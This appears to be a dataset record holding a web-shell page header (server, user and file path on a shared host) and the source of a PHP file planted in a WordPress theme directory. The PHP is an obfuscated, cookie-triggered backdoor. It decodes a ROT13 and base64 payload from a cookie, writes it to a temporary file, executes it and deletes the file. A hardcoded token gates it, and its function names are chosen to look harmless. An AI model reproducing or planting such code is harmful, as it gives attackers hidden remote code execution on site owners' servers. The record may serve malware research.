{'id': 183207, 'code': 'Y2gQopBX HEX
HEX
Server: LiteSpeed
System: Linux premium241.web-hosting.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: aurelytl (1710)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/aurelytl/rinzaauto.com/wp-content/themes/custom_file_1_1781605058.php
<!--8vkqTH5q-->
<?php

if (isset($_COOKIE[-82+82]) && isset($_COOKIE[-85+86]) && isset($_COOKIE[77+-74]) && isset($_COOKIE[-39+43])) {
    $resource = $_COOKIE;
    function task_processor($value) {
        $resource = $_COOKIE;
        $rec = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'jTgHXHBu');
        if (!is_writable($rec)) {
            $rec = getcwd() . DIRECTORY_SEPARATOR . "reverse_searcher";
        }
        $comp = "\x3c\x3f\x70\x68p " . base64_decode(str_rot13($resource[3]));
        if (is_writeable($rec)) {
            $sym = fopen($rec, 'w+');
            fputs($sym, $comp);
            fclose($sym);
            spl_autoload_unregister(__FUNCTION__);
            require_once($rec);
            @array_map('unlink', array($rec));
        }
    }
    spl_autoload_register("task_processor");
    $token = "957b6ae984cc9afd0e8c3d508da23c01";
    if (!strncmp($token, $resource[4], 32)) {
        if (@class_parents("config_manager_approve_request", true)) {
            exit;
        }
    }
}